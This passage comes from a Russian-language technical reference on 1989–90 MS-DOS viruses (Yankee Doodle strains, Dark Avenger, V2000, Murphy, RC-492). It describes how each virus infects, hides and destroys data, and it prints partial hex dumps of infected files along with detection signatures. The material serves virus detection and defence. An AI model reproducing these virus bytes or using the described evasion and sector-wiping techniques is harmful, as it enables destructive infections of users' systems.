07B0 B803C5CD215B7223 83FCF0721E2E8B97 ....![r#...r....
07C0 0300428CD903D18E C28BF38BFEB9780A ..B...........x.
... .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
0B90 4390CFD2EF3B32E9 5F393E674E4B471B C....;2._9>gNKG.
0BA0 D22B7A58EC6C90D9 E60A21B50D5FB446 .+zX.l....!.._.F
0BB0 40009391F47A2190 @....z!.
+----+
сигнатура
5.3.3.3. Вирус RCE-2568
(ТР-34, Yankee Doodle-22 -- Янки дудль-22)
Фрагмент дампа дрозофилы, зараженной вирусом RCE-2568
0100 E98F069090909090 9090909090909090 ................
0110 9090909090909090 9090909090909090 ................
0120 9090909090909090 9090909090909090 ................
0130 9090909090909090 90909090909090C3 ................
... .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
+---- начало инсталлятора вируса
V
0792 E800005B81EB 55065053BB2200F8 C....[..U.PS."..
07A0 B803C5CD215B7203 E9AE00598CC88ED8 ....![r....Y....
07B0 8EC02E8A87070A2E A200018BC18B8F02 ................
... .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
0AF0 B7C5961AA5A87868 F4411F709A6E58DE ......xh.A.p.nX.
0B00 FDBACD6400466F1B 9488E612AFB1F895 ...d.Fo.........
0B10 46A9D1AE675742D9 6A5B8E0E1F21D50A F...gWB.j[...!..
0B20 4FFC427B17B1F9F2 684532D06EF9DDA4 O.B{....hE2.n...
0B30 DC014D1AFC655125 DD88256102BD0D0C ..M..eQ%..%a....
0B40 40009391F47A2290 @....z".
+----+
сигнатура
5.3.3.4. Вирус RCE-2756
(ТР-38, Yankee Doodle-26 -- Янки дудль-26)
В данном штамме добавлена логика, обеспечивающая обход фильтров,
перехватывающих прерывание 21. Примененный прием основан на выпол-
нении трассировки программ, "сидящих" на 21 прерывании до попада-
ния в "оригинальный" обработчик MS DOS и запоминании соответствую-
щего адреса. Кроме того, именно с этой версии наблюдается эффект
"самоизлечения" зараженной программы при попытке трассировки ее на
зараженной вирусом машине.
Исторические замечания. Данный вирус распространялся на вирусной
дискете В.Бончева в файле TP38VIR.COM, датированном 28 февраля
1989 г.
Фрагмент дампа дрозофилы, зараженной вирусом RCE-2756
100 E9DB079090909090 9090909090909090 ................
*** Последующие строки идентичны предыдущей ***
120 9090909090909090 9090909090909090 ................
130 9090909090909090 90909090909090C3 ................
140 F47A260000004000 400A909090909090 .z&...@.@.......
150 9090909090909090 9090909090909090 ................
160 9090909090909090 9090720EA0196014 ..........r...`.
170 74025605D656E008 A01920000500FABB t.V..V.... .....
180 28140000DC006800 2EA35C07700087EC (.....h...\.p...
190 5C07700001000101 87DB87DB87DB87DB \.p.............
1A0 1000000100028102 C711C711E60F280E ..............(.
1B0 C711280EE60FC417 C711C711E60F280E ..(...........(.
1C0 C711C711C711C711 E60F280E590D280E ..........(.Y.(.
1D0 E60FC711EF12C417 2C15EF12C711C711 ........,.......
1E0 2C15EF122C15C51A 2C15EF12C7112C15 ,...,...,.....,.
1F0 C4172C15C417C51A 671CC51AC4172C15 ..,.....g.....,.
200 EF122C15C51A2C15 EF12C7112C15C417 ..,...,.....,...
210 C711EF12E60FC711 C711FFFF05050505 ................
220 0505050505050505 0909050505050505 ................
230 0505050505050909 0505050505050505 ................
240 0505050505050605 0505050505050605 ................
250 0505050909505333 C08EC026C41C895D .....PS3...&...]
260 028C450426803FCF 740A268B07890526 ..E.&.?.t.&....&
270 C707CD1C5B58C356 57BE0400BF4800E8 ....[X.VW....H..
... .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
начало инсталлятора вируса ----+
V
8DE E800 ..U..t...R.QC...
8E0 005B81EBA107FC2E 80BF5600007418BE .[........V..t..
8F0 0A0003F3BF0001B9 2000F3A40E2EFFB7 ........ .......
.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
BC0 F0435C6B7478F6AE 05B22AD44954519F .C\ktx....*.ITQ.
BD0 DD99113FEAE02D2E 6DCC95C81233C43E ...?..-.m....3.>
BE0 5A2B8B33E11C3E88 C4806AC3DEFF6F33 Z+.3..>...j...o3
BF0 44223341E9BC133D CA1B92C402A0D2FD D3A...=........
C00 |F47A2600 .z&.
+-----+
сигнатура
5.3.3.5. Вирус RCE-2901
(ТР-45, Yankee Doodle-2D -- Янки дудль-2D)
Данный вирус отличается от TP-44 лишь незначительными деталями.
Исторические замечания. Вирус распространялся на вирусной
дискете В.Бончева в файле COMMAND.VIR. По-видимому вирус
разработан весной 1989 г.
Фрагмент дампа дрозофилы, зараженной вирусом RCE-2901
000: E906089090909090 9090909090909090 ................
010: 9090030090909090 9090909090909090 ................
020: 9090909090909090 9090909090909090 ................
030: F47A2D0000003000 C60A909090909090 .z-...0.........
040: 9090909090909090 9090909090909090 ................
050: 9090909090909090 9090390398146014 ..........9...`.
060: 640256059D1053FF 00F0050045002100 d.V...S.....E.!.
070: DE006A009A87014A 9F5C0770009C2E8F ..j....J.\.p....
080: 06775C0770000000 2001000100013F01 .w\.p... .....?.
090: 0000100000010002 CF02C711C711E60F ................
0A0: 280EC711280EE60F C417C711C711E60F (...(...........
0B0: 280EC711C711C711 C711E60F280E590D (...........(.Y.
0C0: 280EE60FC711EF12 C4172C15EF12C711 (.........,.....
0D0: C7112C15EF122C15 C51A2C15EF12C711 ..,...,...,.....
0E0: 2C15C4172C15C417 C51A671CC51AC417 ,...,.....g.....
0F0: 2C15EF122C15C51A 2C15EF12C7112C15 ,...,...,.....,.
100: C417C711EF12E60F C711C711FFFF0505 ................
110: 0505050505050505 0505090905050505 ................
120: 0505050505050505 0909050505050505 ................
130: 0505050505050505 0605050505050505 ................
140: 06050505050909FE 067A7DFE06FB7D74 .........z}...}t
150: 05EA007C0000FC33 C08EC0BE2A7DBF4C ...|...3....*}.L
160: 00A5A52683061304 02EA007C00008B04 ...&.......|....
170: 2DBC0072093D0800 9072038904C3B809 -..r.=...r......
... .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
7A0: 06525153508B0E3C 008B163E00B80157 .RQSP..<...>...W
7B0: E8D9FBB43EE8D4FB 8A0E580080F12080 ....>.....X... .
7C0: E13FF6C1217411B8 01431E32ED8A0E58 .?..!t...C.2...X
7D0: 00C55604E8BAFB1F B824251EC5163200 ..V......$%...2.
7E0: E8AEFB1F8A165D00 B80133E8A3FB585B ......]...3...X[
7F0: 595A075DF9C359BA 00022E80BF5A0000 YZ.]..Y......Z..
... .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
B40: F2DB996A6A37B0CE B3FBC50E2CD85FC4 ...jj7......,._.
B50: 4C99CE00A228B8B9 339F6B8B59C09A66 L....(..3.k.Y..f
B60: DBDB30252E0A0049 34C355356A362F79 ..0%...I4.U5j6/y
B70: 2B8E340D1D0D0629 F94636B8AD18F6AA +.4....).F6.....
B80: 00F47A2D00 ..z-.
+----+
B-сигнатура
5.3.3.6. Вирус RCE-2932
(ТР-41, Yankee Doodle-29 -- Янки дудль-29)
Разрушение или модификация данных в вирусе не предусмотрена.
Длина вируса составляет 2932 (B74h) байт. Заражаются COM-файлы
длиной от 20h до F247h байт и EXE-файлы любой длины. Код вируса
практически полностью совпадает с кодом RCE-2885. Отличия от по-
следнего сводятся к тому, что в 17.00 мелодия играется всегда.
Фрагмент дампа дрозофилы, зараженной вирусом RCE-2932
000: E92F089090909090 9090909090909090 ./..............
010: 9090030090909090 9090909090909090 ................
020: 9090909090909090 9090909090909090 ................
030: F47A290000003000 EE0A909090909090 .z)...0.........
040: 9090909090909090 9090909090909090 ................
050: 9090909090909090 9090390398146014 ..........9...`.
060: 640256059D1053FF 00F0200005004500 d.V...S... ...E.
070: 210000001701DC00 72D0DF04555C0770 !.......r...U\.p
080: 0089BFCE1B975C07 7000010001000101 ......\.p.......
090: 0000100000010002 B302C711C711E60F ................
0A0: 280EC711280EE60F C417C711C711E60F (...(...........
0B0: 280EC711C711C711 C711E60F280E590D (...........(.Y.
0C0: 280EE60FC711EF12 C4172C15EF12C711 (.........,.....
0D0: C7112C15EF122C15 C51A2C15EF12C711 ..,...,...,.....
0E0: 2C15C4172C15C417 C51A671CC51AC417 ,...,.....g.....
0F0: 2C15EF122C15C51A 2C15EF12C7112C15 ,...,...,.....,.
100: C417C711EF12E60F C711C711FFFF0505 ................
110: 0505050505050505 0505090905050505 ................
120: 0505050505050505 0909050505050505 ................
130: 0505050505050505 0605050505050505 ................
140: 06050505050909FE 067A7DFE06FB7D74 .........z}...}t
150: 05EA007C0000FC33 C08EC0BE2A7DBF4C ...|...3....*}.L
160: 00A5A52683061304 02EA007C0000561E ...&.......|..V.
... .. .. .. .. .. .. .. .. .. .. .. ..
1E0: EC9C061E53500E1F E8E4FF8CC8394608 ....SP.......9F.
1F0: 74358E5E0883BF02 0029752081BF0000 t5.^.....)u ....
200: F47A751881BF0800 EE0A75108CD8D1EB .zu.......u.....
210: D1EBD1EBD1EB03C3 8ED8EB0B836E0205 .............n..
220: 585B1F079D5DCBE8 F8008B460AFE065B X[...].....F...[
230: 00A900017507FF4E 06FE0E5B0025FFFE ....u..N...[.%..
... .. .. .. .. .. .. .. .. .. .. .. ..
B60: 419EBF488A06A7BA 0A8993557831908F A..H.......Ux1..
B70: B0BAA467FDFB369D F825859828EEBB8E ...g..6..%..(...
B80: A4276E3D35E3DC9E 472D3C7C5AE5D407 .'n=5...G-<|Z...
B90: 805C01401F4CBCFC 3DC3E86DA14C4554 .\.@.L..=..m.LET
BA0: F47A2900 .z).
+-----+
сигнатура
5.4. Группа Avenger
Группа Avenger является одной из наиболее опасных групп вирусов.
В настоящее время включает два вируса: RCE-1800 (Dark Avenger) и
RCE-02000 (Bontchev). Предположительно оба вируса болгарской раз-
работки. Код вирусов этой группы свидетельствует о глубоком знании
разработчиком MS DOS. В них используется ряд нетривиальных методов
маскировки и обхода простейших резидентных сторожей.
5.4.1. Вирус RCE-1800
(Dark Avenger -- Черный мститель; Eddie -- Эдди)
Вирус RCE-1800 получил свое название в связи с тем, что в теле
вируса содержатся две достаточно длинные текстовые строки:
1. Eddie lives...somewhere in time (в начале вируса, т.е. сра-
зу после конца зараженного СOM-файла).
2. This program was written in the city of Sofia (C) 1988-89
Dark Avenger.
Формально RCE-1800 является файловым резидентным вирусом, пора-
жающим как файлы типа СОМ, так и файлы типа EXE. Это первый
попавший в СССР вирус, стратегия размножения которого
предусматривает заражение программ не только при их выполнении, но
и при других операциях доступа к соответствующим файлам. Поэтому,
при отсутствии противодействия, RCE-1800 размножается гораздо быс-
трее ранее рассмотренных вирусов. Помимо заражения при запуске
программ на выполнение, файлы заражаются при создании, переимено-
вании, открытии и закрытии (прерывания 21-4Bh, 21-3Ch, 21-5Bh, 21-
56h, 21-3Dh, 21-2h). Такая стратегия размножения делает этот вирус
весьма опасным, поскольку, если в зараженной системе запустить
программу, систематически просматривающую файлы во всех подкатало-
гах (например, ревизор), то большая часть СOM- и EXE-файлов будет
в результате заражена.
При запуске зараженной программы вирус сначала проверяет наличие
в оперативной памяти своей копии. При этом копия проверяется пол-
ностью и в случае обнаружения изменений с этого места в память за-
писывается исходный код вируса. Это существенно затрудняет нейтра-
лизацию вируса в оперативной памяти. Если вирус не нашел в опера-
тивной памяти своей копии, то он загружается в верхнюю область си-
стемной памяти, а затем резервирует для себя участок памяти путем
манипуляций с MCB и используя функции MS DOS (выделения, освобож-
дения и изменения размеров выделенной памяти). При загрузке в
старшие адреса памяти вирус затирает транзитную часть COMMAND.COM.
Поэтому при первой же команде с консоли транзитная часть вызывает-
ся повторно, что и приводит к ее заражению.
На фазе инсталляции вирус определяет расположение в ПЗУ обработ-
чика прерывания 13h как для дискеты, так и для жесткого диска. Все
необходимые сведения для этой цели он берет из векторов 40h и 41h,
где содержатся, соответственно, адрес обработчика прерывания 13h
в ПЗУ и адрес таблицы параметров для винчестера. Алгоритм опреде-
ления адреса прерывания 13 в ПЗУ, используемый вирусом не универ-
сален и он работает не для всех типов IBM-совместимых компьютеров.
Помимо прерывания 13h, вирус перехватывает прерывания 21h и 27h.
Прерывание 21h используется стандартным образом (отслеживаются
приведенные выше подфункции), а прерыванием 27h вирус пользуется
для того, чтобы проверять, не изменился ли вектор 21h, и при необ-
ходимости восстанавливать его.
Вирус работоспособен на версиях 3.х и 4.х MS DOS. Проверка номе-
ра версии в теле вируса не выполняется.
Зараженные COM-файлы увеличиваются в размере на 1800 байтов,
причем дата их создания и атрибуты остаются неизменными. Заражение
выполняется однократно. При заражении вирус дописывает свое тело в
конец файла, вставляя в первые три байта команду перехода на нача-
ло вируса. Выравнивание на границу параграфа для COM-файлов не вы-
полняется. Инфицируются COM-файлы длиной от 1775 (6Fh) до 63148
(F6ACh) байтов. В силу сказанного выше, COMMAND.COM является наи-
более подверженной заражению данным вирусом программой. Для версии
3.3 зараженный COMMAND.COM имеет размер 27107 байтов (если его
первоначальный размер был 25307 байтов). Очевидно, что при зараже-
нии не имеет значения, где расположен командный процессор, лишь бы
диск был доступен для записи.
Заражение EXE-файлов выполняется стандартно, за исключением то-
го, что вирус не сохраняет в своем теле исходной длины заражаемого
файла. Однако восстановление длины программы все же возможно, по-
скольку вирус запоминает в теле некоторый байт. При заражении EXE-
файлов вирус дописывается в конец файла с выравниванием на границу
параграфа (т.е. приращение длины колеблется в диапазоне 1800..1815
байтов). Инфицируются EXE-файлы длиной больше 1775 (6Fh) байтов.
Помимо COM- и EXE-файлов, вирус иногда заражает файлы данных.
Это свойство характерно не только для данного вируса, но и для лю-
бого вируса, который заражает открываемые файлы. Зараженные таким
образом файлы данных можно лечить обычным фагом, указав соответст-
вующее расширение.
Фаза проявления данного вируса связана с разрушением
опеределенных секторов винчестера и наступает после определенного
количества инсталляций вируса (запусков первой зараженной програм-
мы после перезагрузки системы, в ходе которых он становится рези-
дентным). При зараженном COMMAND.COM количество инсталляций равно
количеству перезагрузок машины после заражения. Вирус ведет
счетчик инсталляций в байте со смещением 0Аh (10) бутсектора. Чте-
ние бутсектора выполняется с помощью прерывания 25h, что возможно
только для ОС, не поддерживающей диски размером более 32M. Сразу
после очередной инсталляции вирус анализирует 2 байта (8-й и 10-й)
бутсектора диска, с которого была запущена зараженная программа.
Десятый байт используется в качестве счетчика, который вирус уве-
личивает на 1 при каждой инсталляции, сохраняя увеличенное значе-
ние в том же байте. При каждой 16-ой инсталляции он уничтожает со-
держимое одного из секторов винчестера (номер, по-видимому, выби-
рается случайно и зависит от значения 8-го байта бутсектора), за-
писывая туда первые 512 байтов своего тела. При этом первые байты
запорченного сектора будут содержать фразу Eddie
lives...somewhere in time, что позволяет выявить все уничтоженные
сектора глобальным контекстным поиском по диску. При заражении
файлов или уничтожении секторов вирус использует прерывание 13
напрямую -- управление передается в ПЗУ, минуя текущий обработчик
прерывания. Это позволяет обходить проверки резидентных сторожей.
Вирус предпринимает ряд мер по маскировке своего наличия в опе-
ративной памяти. При старте любой программы вирус помечает про-
граммный сегмент как последний и становится невидимым для этой
программы, по окончании работы программы вирус помечает программ-
ный сегмент как не последний. При завершении программы вирус вос-
станавливает первоначальное значение прерывания 21h, если оно было
изменено программой. Вирус вставляет себя первым в цепочку про-
грамм, получающих управление по прерыванию 21h, а в дальнейшем не
позволяет программам встать раньше него в указанном списке. Этот
метод всплытия позволяет обойти простейшие резидентные сторожа.
Вирус обходит контроль программ, следящих за прерыванием 13h, оп-
ределяя значение этого вектора при инсталляции и в дальнейшем на-
прямую обращаясь по соответствующему адресу .
Исторические замечания. Впервые вирус описал В.Бончев [13]. Если
исходить из приведенной выше строки, то RCE-1800 имеет болгарское
происхождение и написан в первой половине 1989 г. В Киеве появился
вместе с компьютерами, приобретенными у одного из московских коо-
перативов в сентябре 1989 г. Одним из первых этот вирус выделил
В.О.Ткаченко. Фактически данный вирус был первым вирусом, который
мог уничтожать информацию в базах данных, а не только выполняемые
файлы, и ряд организаций серьезно пострадали в результате повреж-
дения вирусом их баз данных. Первые фаги для данного вируса не
проверяли его наличие в оперативной памяти, поэтому наблюдались
случаи, когда при запуске фага при резидентном вирусе фаг обнару-
живал зараженный файл, выкусывал вирус, а при закрытии файла он
снова оказывался зараженным. Более того, при запуске детектора или
ревизора, не проверявших наличие вируса в оперативной памяти, за-
ражались все проверявшиеся файлы, которые еще не были заражены.
Поэтому основной особенностью борьбы с данным вирусом являлось бы-
строе распространение понимания необходимости нейтрализации рези-
дентного вируса у разработчиков фагов и не менее быстрое понимание
необходимости проводить лечение, только загрузившись с эталон-
ной, защищенной от записи дискеты, у пользователей. В силу особой
опасности заражения данным вирусом многие организации перешли на
сплошной входной контроль поступающего программного обеспечения.
В Москве получил распространение штамм вируса, в котором сообще-
ние Eddie lives somewere in time заменено на B O R O D A мстит
во времени.
Неформальные названия. Полидетектор SCAN называет данный вирус
Dark Avenger virus [Dav]. Помимо приведенных в заголовке,
используются названия Avenger (Мститель), Sofia (София), Diana
(Диана). Последнее название связано с тем, что в теле вируса со-
держится строка Diana P.
Программные средства защиты. См. прил.1. Выявление поврежденных
файлов можно выполнить с помощью глобального контекстного поиска
по диску, обеспечиваемого, например, PCTools. Любые действия по
анализу содержимого диска следует выполнять только при условии
предварительной загрузки операционной системы с эталонной, защи-
щенной по записи, дискеты. При исследовании вируса автор пренебрег
этим правилом, запустив после заражения COMMAND.COM программу под-
счета контрольных сумм и анализа каталогов на винчестере. В ре-
зультате, оставаясь резидентным, вирус последовательно заразил по-
рядка 50 COM- и EXE-файлов. Исходя из этого, легко представить се-
бе последствия прогона батареи фагов на зараженной машине.
Фрагмент дампа дрозофилы, зараженной вирусом RCE-1800
000: E955079090909090 9090909090909090 .U..............
010: 9090909090909090 9090909090909090 ................
*** последующие строки идентичны предыдущей ***
6F0: 4564646965206C69 7665732E2E2E736F Eddie lives...so
700: 6D65776865726520 696E2074696D6521 mewhere in time!
710: 00009023121E8CC3 83C3102E039CFF06 ...#............
720: 2E899C53002E8B9C FD062E899C51008C ...S.........Q..
730: C383C3102E039C03 078ED32E8BA40107 ................
740: EA00000000BF0001 81C60507A4A58B26 ...............&
750: 060033DB53FF64F5 E800005E81EE6B00 ..3.S.d....^..k.
760: FC2E81BC05074D5A 740EFA8BE681C408 ......MZt.......
770: 08FB3B26060073CD 5006561E8BFE33C0 ..;&..s.P.V...3.
780: 508ED8C4064C002E 8984F4062E8C84F6 P....L..........
... .. .. .. .. .. .. .. .. .. .. .. ..
D50: 164F072E8C1E5107 33DB8EDBC7068400 .O....Q.3.......
D60: EE028C0E86005A5B 581FC35053B462E8 ......Z[X..PS.b.
D70: 72FD8CC8484B8EDB F9131E03003BD872 r...HK.......;.r
D80: F55B58C3A15B07BA 1000F7E2C3546869 .[X..[.......Thi
D90: 732070726F677261 6D20776173207772 s program was wr
DA0: 697474656E20696E 2074686520636974 itten in the cit
DB0: 79206F6620536F66 6961202843292031 y of Sofia (C) 1
DC0: 3938382D38392044 61726B204176656E 988-89 Dark Aven
DD0: 6765720080FC0375 0F80FA807305EAC8 ger....u....s...
DE0: 0EFD18EAC80EFD18 EAC80EFD18000121 ...............!
DF0: 0090909090909090 ........
5.4.2. Вирус RCE-02000
(V2000, Anti-Bontchev -- Анти-Бончев)
Вирус RCE-2000 получил свое название в связи с тем, что в теле
вируса содержатся две достаточно длинные текстовые строки:
1. Zopy me -- I want to travel (в начале вируса, т.е. сразу по-
сле конца зараженной программы).
2. (c) 1989 by Vesselin Bontchev (в конце тела вируса, т.е. в
последнем блоке зараженного файла).
По некоторым данным, вирус вызывает зависание MS DOS при запу-
ске программм, содержащих строку (c) 1989 by Vesselin Bontchev.
В теле вируса имеется также строка Диана П. (в альтернативной
кодировке). Данный вирус является довольно сильно доработанным
штаммом RCE-1800 и является первым попавшем в СССР вирусом,
маскирующем приращение длины зараженных файлов. Маскировка
основана на том, что вирус помечает зараженные файлы, проставляя
значение 62 с. в дате создания файла, как вирусы венской группы
(С-648) и при считывании. Контролируя функции MS DOS типа
FindFirst и FindNext, используемые при просмотре оглавления
командой DIR, вирус вычитает 2000 из значения поля длины таких
элементов оглавления, тем самым маскируя увеличение длины
зараженных файлов. Следует отметить, что оболочки типа Norton
Commander самостоятельно интерпретируют содержимое секторов с
каталогами, не используя указанных выше функций DOS. Для них этот
метод маскировки не действует.
Помимо маскироки увеличения длины зараженных файлов, вирус ис-
пользуется ряд недокументированных прерываний, что позволяет обхо-
дить слежение за прерываниями 13 и 26. Зараженные COM-файлы увели-
чиваются в размере точно на 2000 байтов, причем дата их создания и
атрибуты остаются неизменными. Заражение выполняется однократно.
При заражении вирус дописывает свое тело в конец файла, вставляя в
первые три байта команду перехода на начало вируса. Выравнивание
на границу параграфа для COM-файлов не выполняется. Инфицируются
COM-файлы длиной от 1959 байтов.
Заражение EXE-файлов характерно тем, что, несмотря на то, что
вирус выполняет выравнивание всего тела на границу параграфа, при-
ращение искусственно поддерживается постоянным и равным 2000 бай-
тов. Инфицируются EXE-файлы длиной больше 2000 байтов.
Стадия проявления, как и у вируса RCE-1800, состоит в уничтоже-
нии отдельных секторов диска (в них записывается нулевой сектор
текущего диска). Если на диске имеются файлы, иммунизированные от
вируса C-648, и имеющие длину менее 2000 байтов, то для таких
файлов вирус показывает сумашедшее значение длины.
Исторические замечания. Вирус обнаружен в Москве в апреле 1990
г. Автором вируса, по-видимому, является техно-крыса, скрывающаяся
под псевдонимом Dark Avenger. Первым данный вирус исследовал
Д.Н.Лозинский. Обработка RCE-02000 включена в AIDSTEST в апреле
1990 г. (начиная с версии 29 от 18.04.90).
Неформальные названия. Полидетектор SCAN называет данный вирус
V2000. Кроме приведенных в заголовке, используют еще название
Диана П. (в теле вируса содержится строка Диана П.).
Программные средства защиты. Данный вирус детектируется полиде-
тектором SCAN. Рекомендуемые фаги приведены в прил.1. Выявление
поврежденных вирусом файлов можно выполнить с помощью глобального
контекстного поиска по диску, обеспечиваемого, например, PCTools.
Любые действия по анализу содержимого диска следует выполнять
только при условии предварительной загрузки операционной системы с
эталонной, защищенной по записи, дискеты.
Фрагмент дампа программы DUMY2008.COM,
зараженной вирусом RCE-02000
000: E935089090909090 9090909090909090 .5..............
010: 9090909090909090 9090909090909090 ................
... .. .. .. .. .. .. .. .. .. .. .. ..
7D0: 909090909090C31A 5A6F7079206D6520 ........Zopy me
7E0: 2D20492077616E74 20746F2074726176 - I want to trav
7F0: 656C000090511381 C6B5078CC383C310 el...Q..........
800: 2E035C022E899C96 F82E8B1C2E899C94 ..\.............
810: F88CC383C3102E03 5C068ED32E8B6404 ........\.....d.
820: EA00000000BF0001 81C6BD07A4A58B26 ...............&
830: 060033DB53FF64F5 E800005E81EE6300 ..3.S.d....^..c.
840: FC2EF69489072E81 BCBD074D5A740EFA ...........MZt..
850: 8BE681C4C008FB3B 26060073C8500656 .......;&..s.P.V
860: 1E8BFE33C0508ED8 C5164C00B430CD21 ...3.P....L..0.!
870: 2E8884120886C43D 1E03720CB413CD2F .......=..r..../
880: 1E52B413CD2F5A1F 2E8994A7072E8C9C .R.../Z.........
... .. .. .. .. .. .. .. .. .. .. .. ..
F00: 268B0E06002BFFBE 8907ACF2AE750D51 &....+.......u.Q
F10: 57B91100F3A65F59 75EDEBE4C6061308 W....._Yu.......
F20: 00EBC6E8AAFDB451 CD212BFF8BC74B13 .......Q.!+...K.
F30: D88EDB8B4503803D 5A72F43B7D0175A9 ....E..=Zr.;}.u.
F40: 438EC33D00107203 B80010B103D3E08B C..=..r.........
F50: C8F3ABEB94286329 2031393839206279 .....(c) 1989 by
F60: 2056657373656C69 6E20426F6E746368 Vesselin Bontch
F70: 65762E0080FC0375 0F80FA807305EA59 ev.....u....s..Y
F80: EC00F0EA26AF00F0 EA75013E140001A3 ....&....u.>....
F90: 1490909090E90201 84A8A0ADA0208F2E ............. ..
FA0: 00558BECFF76069D .U...v..
5.5. Вирус RCE-1277 (Murphy -- Мерфи)
Вирус RCE-1277 является очередным вирусом, разработанным в Бол-
гарии, и получил свое название в связи с тем, что в теле вируса
содержатся достаточно длинные текстовые строки:
Hello, I'm Murphy.
Nice to meet you friend.
I'm written since Nov/Dec.
Copywrite (c)1989 by Lubo & Ian, Sofia, USM Laboratory.
Формально вирус RCE-1277 -- файловый резидентный вирус, поражаю-
щий как файлы типа СОМ, так и файлы типа EXE. Заражение происходит
как при запуске программ на выполнение, так и при открытии файлов
(21-3В, 21-4B, 21-6C). Вирус дописывает свое тело в конец файла.
Заражает командный процессор, если он не имеет атрибута READ
ONLY . Пораженный COMMAND.COM имеет размер 27107 байтов (если его
первоначальный размер был 25307 байтов). При этом не имеет значе-
ния, где расположен командный процессор. Это связано с тем, что
вирус при инсталляции затирает часть копии командного процессора.
В результате он вызывается с диска, в процессе чего и происходит
заражение. Файлы, имеющие атрибут READ ONLY, вирус не заражает.
Проверка номера версии в теле вируса не выполняется. Тип файла оп-
ределяется вирусом правильно, независимо от используемого расшире-
ния. Зараженные COM-файлы увеличиваются в размере на 1277 байтов,
причем дата их создания и атрибуты остаются неизменными. Заражение
выполняется однократно. При заражении вирус дописывает свое тело в
конец файла, вставляя в первые три байта команду перехода на нача-
ло вируса. Выравнивания на границу параграфа для COM-файлов не вы-
полняется. Инфицируются COM-файлы длиной свыше 1277 (6Fh) байтов.
Заражение EXE-файлов выполняется путем дописывания тела вируса в
конец файла без предварительного выравнивания тела на границу па-
раграфа.
При выполнении зараженной программы вирус проверяет наличие
своей копии в памяти и, если не находит, то становится резидентным
(используя манипуляции с MCB).
Через некоторое время после того, как вирус стал резидентным, в
динамике начинает раздаваться довольно неприятный высокочастотный
свист частотой около 12 Кгц.
В целом вирус производит впечатление не до конца отлаженного. В
частности, при попытке заражения защищенной от записи дискеты вы-
дается стандартное сообщение Abort, Retry т Это связано с ошиб-
кой в обработчике прерывания 24h. По мнению Д.Н.Лозинского, заме-
тен плагиат из RCE-1800, причем без достаточного понимания функций
копируемых фрагментов.
Исторические замечания. Первое зарубежное описание данного
вируса приведено в списке П.Хоффман. По-видимому, RCE-1277 имеет
болгарское происхождение и написан сравнительно недавно (но-
ябрь/декабрь 1989 г.?). В Киеве первым вирус обнаружил А.Л.Шехов-
цов (июнь 1990). Несколько позднее он был независимо выявлен в
Москве.
Неформальные названия. Помимо приведенного в заголовке, неизве-
стны.
Программные средства защиты. Детектирование возможно по приводи-
мым в прил.1 сигнатурам. Из программ, распространяемых бесплатно,
в качестве фага можно применять -V Е.Касперского или NEAFAG В.По-
номаренко.
Фрагмент дампа дрозофилы, зараженной вирусом RCE-1277
000: E9FD079090909090 9090909090909090 ................
010: 9090909090909090 9090909090909090 ................
*** последующие строки идентичны предыдущей ***
7F0: 090909090909090 9090909090909090 ................
+--- псевдоначало инсталлятора (первый переход)
+-----+
800:|E97E039090909090 9090909090909090 .~..............
810: 9090909090909090 9090900000000060 ...............`
820: 00F1042100000004 00050EC32B5605E3 ...!........+V..
830: 287A0F70007A0F70 002048656C6C6F2C (z.p.z.p. Hello,
840: 2049276D204D7572 7068792E204E6963 I'm Murphy. Nic
850: 6520746F206D6565 7420796F75206672 e to meet you fr
860: 69656E642E204927 6D20777269747465 iend. I'm writte
870: 6E2073696E636520 4E6F762F4465632E n since Nov/Dec.
880: 20436F7079777269 7465202863293139 Copywrite (c)19
890: 3839206279204C75 626F20262049616E 89 by Lubo & Ian
8A0: 2C20536F6669612C 2055534D204C6162 , Sofia, USM Lab
8B0: 6F7261746F72792E 20E88F023D594B75 oratory. ...=YKu
8C0: 09558BEC836606FE 5DCF80FC4B74123D .U...f..]...Kt.=
8D0: 003D740D3D006C75 0580FB007403E9A5 .=t.=.lu....t...
8E0: 00061E5756555251 5350E8C9013D006C ...WVURQSP...=.l
8F0: 75028BD6B980008B F2468A040AC0E0F9 u........F......
900: 83EE02813C4F4D74 12813C58457403EB ......U.uG...
... .. .. .. .. .. .. .. .. .. .. .. ..
CB0: 8600FBFE0E7B045E 2E81BC7EFC4D5A75 .....{.^...~.MZu
CC0: 1D1F2E8B849AFC2E 8B9C98FC0E592BC8 .............Y+.
CD0: 03CB512EFFB496FC 1E07E895FECB582E ..Q...........X.
CE0: 8B847EFC2EA30001 2E8B8480FC2EA302 ..~.............
CF0: 01B80001500E1F1E 07E876FEC3 ....P.....v..
5.6. Группа второй половины таблицы прерываний
Данная группа включает два вируса, которые при заражении опера-
тивной памяти размещают свое тело во второй половине таблицы пре-
рываний. Очевидно, что такое размещение накладывает жесткие огра-
ничения на размер вируса и выполняемые функции. Из-за ограничения
длины возможно заражение только одного типа файлов (обычно типа
СОМ) с записью вируса в хвост файла.
5.6.1. Вирус RC-492 (sI)
Неформальное название sI связано с тем, что со смещением 3 от
начала зараженной программы стоят байты sI, служащие для
опознания вирусом зараженных им программ. Формально, данный вирус
является резидентным файловым вирусом, заражающим COM-файлы при
запуске их на выполнение. Код вируса содержит много ошибок и не-
точностей. Длина вируса 492 байта (1ECh). Вирус работоспособен
только на компьютерах серии AT. Это связано с наличием команд, от-
сутствующих в микропроцессоре 8088/8086. Проверка версии MS DOS в
теле вируса отсутствует. Зависимости работоспособности вируса от
версии MS DOS не обнаружено.
Стратегия заражения -- при запуске файлов на выполнение. Файлы
заражаются однократно. При заражении выполняется выравнивание на
границу параграфа. Максимальная длина заражаемого файла не прове-
ряется, поэтому вирус уничтожает файлы, длина которых после зара-
жения превысит 64К. Как уже указывалось, в качестве признака зара-
женности файла, вирус использует приведенную выше строку sI. При
запуске зараженной программы вирус ищет в главном каталоге диска С
файл с именем COMMAND.COM и, если он будет найден, пытается его
заразить.
При заражении RС-492 дописывается в конец программы и одновре-
менно вставляет в первые три байта COM-файла команду перехода на
тело вируса. При этом размер файла увеличивается на 492 + байты
выравнивания (в качестве байтов выравнивания вирус вставляет ну-
